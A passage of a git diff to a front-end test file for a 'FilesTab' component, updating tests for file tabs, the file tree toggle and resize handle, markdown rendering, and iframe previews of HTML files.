=> { - expect( - screen.queryByTestId("changes-tab-content"), - ).not.toBeInTheDocument(); - }); - // Quick-row toggle exists and the file-viewer area is shown. expect( - screen.getByTestId("file-quick-row-tree-toggle"), - ).toBeInTheDocument(); + screen.queryByTestId("file-quick-row-item-src/main.ts"), + ).not.toBeInTheDocument(); + expect(useFilesTabStore.getState().selectedPath).toBeNull(); + expect(useFilesTabStore.getState().openPaths).toEqual([]); }); - it("auto-selects the highest-priority file on first render", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - + it("keeps vertical edges on every open tab", () => { + openFile("README.md"); + openFile("src/main.ts"); renderTab(); - // Either index.html (top-priority entrypoint) should be selected. - expect(useWorkspaceFileContentMock).toHaveBeenCalledWith("index.html"); + const firstTab = screen.getByTestId( + "file-quick-row-item-README.md", + ).parentElement; + const secondTab = screen.getByTestId( + "file-quick-row-item-src/main.ts", + ).parentElement; + expect(firstTab).toHaveClass("border-l"); + expect(firstTab).toHaveClass("border-r"); + expect(secondTab).toHaveClass("border-r"); }); it("renders the binary fallback in plain mode for binary files", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); useWorkspaceFileContentMock.mockReturnValue({ data: { path: "logo.png", @@ -298,6 +180,7 @@ describe("FilesTab", () => { }); const user = userEvent.setup(); + openFile("logo.png"); renderTab(); await user.click( @@ -309,45 +192,56 @@ describe("FilesTab", () => { ).toBeInTheDocument(); }); - it("shows full file paths (not just basenames) as quick-row pills", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - + it("shows the file name (not the full path) on quick-row tabs", () => { + openFile("src/main.ts"); renderTab(); - // The pill for src/main.ts should display the full relative path. - const pill = screen.getByTestId("file-quick-row-item-src/main.ts"); - expect(pill).toHaveTextContent("src/main.ts"); + const tab = screen.getByTestId("file-quick-row-item-src/main.ts"); + expect(tab).toHaveTextContent("main.ts"); + expect(tab).toHaveAttribute("title", "src/main.ts"); + expect(tab).toHaveAttribute("role", "tab"); }); - it("collapses the file tree by default and expands it via the caret", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); + it("shows the file tree by default and collapses it via the caret", async () => { const user = userEvent.setup(); renderTab(); - // Hidden by default. + expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument(); + + await user.click(screen.getByTestId("file-quick-row-tree-toggle")); expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); await user.click(screen.getByTestId("file-quick-row-tree-toggle")); expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument(); + }); - await user.click(screen.getByTestId("file-quick-row-tree-toggle")); - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); + it("exposes a grippable resize handle on the tree's right edge when expanded", () => { + window.localStorage.clear(); + + renderTab(); + + expect( + screen.getByTestId("files-tab-tree-resize-handle"), + ).toBeInTheDocument(); + expect(screen.getByTestId("files-tab-tree")).toHaveStyle({ + width: "224px", + }); + }); + + it("opens a tab from the file tree when a file is clicked", async () => { + const user = userEvent.setup(); + renderTab(); + + await user.click(screen.getByTestId("file-tree-file-README.md")); + + expect(useFilesTabStore.getState().openPaths).toContain("README.md"); + expect( + screen.getByTestId("file-quick-row-item-README.md"), + ).toBeInTheDocument(); }); it("renders markdown content via MarkdownRenderer in rich mode", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - // Only expose a markdown file so it is auto-selected as the first - // priority entry. useWorkspaceFilesMock.mockReturnValue({ data: ["README.md"], isLoading: false, @@ -365,6 +259,7 @@ describe("FilesTab", () => { isError: false, }); + openFile("README.md"); renderTab(); await waitFor(() => { @@ -373,26 +268,13 @@ describe("FilesTab", () => { ).toBeInTheDocument(); }); - // react-markdown turns "# Hello" into an

    . expect( screen.getByRole("heading", { level: 1, name: "Hello" }), ).toBeInTheDocument(); expect(screen.getByText("bold").tagName.toLowerCase()).toBe("strong"); - // Markdown rendering uses MarkdownRenderer, not an iframe. - expect( - screen.queryByTestId("file-content-viewer-iframe"), - ).not.toBeInTheDocument(); - // The rich-rendered markdown container is mounted. - expect( - screen.getByTestId("file-content-viewer-markdown"), - ).toBeInTheDocument(); }); it("shows highlighted source (not rich markdown) when toggled to plain on a .md", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); useWorkspaceFilesMock.mockReturnValue({ data: ["README.md"], isLoading: false, @@ -411,10 +293,9 @@ describe("FilesTab", () => { }); const user = userEvent.setup(); + openFile("README.md"); renderTab(); - // Toggle to plain — markdown source should now be syntax-highlighted - // as `markdown`, not rendered. await user.click( screen.getByTestId("files-tab-content-mode-toggle-option-plain"), ); @@ -423,17 +304,12 @@ describe("FilesTab", () => { "file-content-viewer-highlighted", ); expect(highlighted.getAttribute("data-language")).toBe("markdown"); - // Confirm the rich-rendered

    is gone. expect( screen.queryByRole("heading", { level: 1, name: "Hello" }), ).not.toBeInTheDocument(); }); it("uses the workspace fileserver URL as the iframe src for HTML files", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); useWorkspaceFilesMock.mockReturnValue({ data: ["index.html"], isLoading: false, @@ -452,31 +328,15 @@ describe("FilesTab", () => { isError: false, }); + openFile("index.html"); renderTab(); const iframe = await screen.findByTestId("file-content-viewer-iframe"); - expect(iframe).toBeInTheDocument(); - // The iframe src points at the workspace fileserver so relative - // asset references (`` etc.) resolve to - // sibling files. The `?v=` suffix is the - // cache-buster appended by the viewer so the browser re-fetches - // after each agent-side edit. expect(iframe).toHaveAttribute("src", `${staticUrl}?v=0`); - // The iframe is sandboxed with `allow-same-origin` only: `